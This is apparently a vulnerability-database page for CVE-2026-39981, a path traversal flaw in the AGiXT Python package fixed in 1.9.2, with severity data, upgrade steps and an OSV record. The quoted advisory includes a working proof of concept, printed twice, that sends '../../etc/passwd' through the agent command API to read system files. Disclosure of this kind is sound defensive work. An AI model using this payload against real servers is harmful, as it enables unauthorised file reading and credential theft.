Vulnerabilities in pkg:pypi/agixt

PACKAGE
Advisory Identifier: GHSA-5gfj-64gh-mgmw
Advisory Summary

CVE-2026-39981 is a HIGH (CVSS 8.8) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Agixt libraries in the PyPI ecosystem. The issue involves agixt vulnerable to path traversal in safe_join(). Remediation is available by upgrading affected packages to version 1.9.2.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/agixt

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/agixt. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-5gfj-64gh-mgmw CVE-2026-39981 HIGH AGiXT Vulnerable to Path Traversal in safe_join()

CVE-2026-39981 at a Glance

CVE Identifier CVE-2026-39981
GHSA Identifier GHSA-5gfj-64gh-mgmw
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Agixt
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-39981

To remediate this vulnerability, upgrade all affected Agixt dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

agixt fixed: 1.9.2
pip install agixt>=1.9.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show agixt

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-39981, inspect your installed packages using pip:

pip show agixt

Analyze the terminal output to locate any version of Agixt in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.9.2), your application is affected.

Note: The pip show agixt command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Agixt, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance. ### Details `agixt/endpoints/Extension.py:165` (source) -> `agixt/XT.py:1035` (hop) -> `agixt/extensions/essential_abilities.py:436` (sink) ```python # source command_args = command.command_args # hop response = await Extensions(...).execute_command(command_name=command_name, command_args=command_args) # sink new_path = os.path.normpath(os.path.join(self.WORKING_DIRECTORY, *paths.split("/"))) ``` ### PoC ```python # tested on: agixt<=1.9.1 # install: pip install agixt==1.9.1 import requests BASE = "http://localhost:7437" TOKEN = "<your_api_key>" headers = {"Authorization": f"Bearer {TOKEN}"} payload = { "command_name": "read_file", "command_args": { "filename": "../../etc/passwd" } } r = requests.post(f"{BASE}/api/agent/MyAgent/command", json=payload, headers=headers) print(r.text) # expected output: root:x:0:0:root:/root:/bin/bash ... ``` ### Impact Authenticated users can read, overwrite, or delete arbitrary files on the host server, enabling credential theft, persistent code execution, or denial of service. Authentication is required but no elevated privileges are needed beyond a valid API key.

CVE-2026-39981 Affected Agixt Versions

1 component(s)
Fixed Versions:
1.9.2
Product / Package Ecosystem Affected Versions Fixed Version
agixt
PyPI
< 1.9.2
1.9.2

References

Frequently Asked Questions

What is CVE-2026-39981?
CVE-2026-39981 is a security vulnerability in Agixt involving AGiXT Vulnerable to Path Traversal in safe_join() under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Agixt versions are affected?
Affected versions include releases prior to 1.9.2 across affected packages: agixt.
What version fixes CVE-2026-39981?
Upgrading to 1.9.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is agixt affected?
Yes, agixt is affected in releases prior to 1.9.2. Upgrade your dependency to 1.9.2 or later.
What is the CVSS score of CVE-2026-39981?
CVE-2026-39981 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-39981?
CVE-2026-39981 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check PyPI dependencies for CVE-2026-39981?
Run the dependency tree command: 'pip show agixt'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5gfj-64gh-mgmw",
  "modified" : "2026-04-09T19:06:04Z",
  "published" : "2026-04-08T20:02:01Z",
  "aliases" : [ "CVE-2026-39981" ],
  "summary" : "AGiXT Vulnerable to Path Traversal in safe_join()",
  "details" : "### Summary\nThe safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance.\n\n### Details\n`agixt/endpoints/Extension.py:165` (source) -> `agixt/XT.py:1035` (hop) -> `agixt/extensions/essential_abilities.py:436` (sink)\n\n```python\n# source\ncommand_args = command.command_args\n\n# hop\nresponse = await Extensions(...).execute_command(command_name=command_name, command_args=command_args)\n\n# sink\nnew_path = os.path.normpath(os.path.join(self.WORKING_DIRECTORY, *paths.split(\"/\")))\n```\n### PoC\n \n```python\n# tested on: agixt<=1.9.1\n# install: pip install agixt==1.9.1\n \nimport requests\n \nBASE = \"http://localhost:7437\"\nTOKEN = \"<your_api_key>\"\n \nheaders = {\"Authorization\": f\"Bearer {TOKEN}\"}\n \npayload = {\n    \"command_name\": \"read_file\",\n    \"command_args\": {\n        \"filename\": \"../../etc/passwd\"\n    }\n}\n \nr = requests.post(f\"{BASE}/api/agent/MyAgent/command\", json=payload, headers=headers)\nprint(r.text)\n# expected output: root:x:0:0:root:/root:/bin/bash ...\n```\n \n### Impact\n \nAuthenticated users can read, overwrite, or delete arbitrary files on the host server, enabling credential theft, persistent code execution, or denial of service. Authentication is required but no elevated privileges are needed beyond a valid API key.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "agixt"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.9.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.9.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Josh-XT/AGiXT/security/advisories/GHSA-5gfj-64gh-mgmw"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-39981"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Josh-XT/AGiXT/commit/2079ea5a88fa671a921bf0b5eba887a5a1b73d5f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Josh-XT/AGiXT"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Josh-XT/AGiXT/releases/tag/v1.9.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-08T20:02:01Z",
    "nvd_published_at" : "2026-04-09T18:17:02Z"
  }
}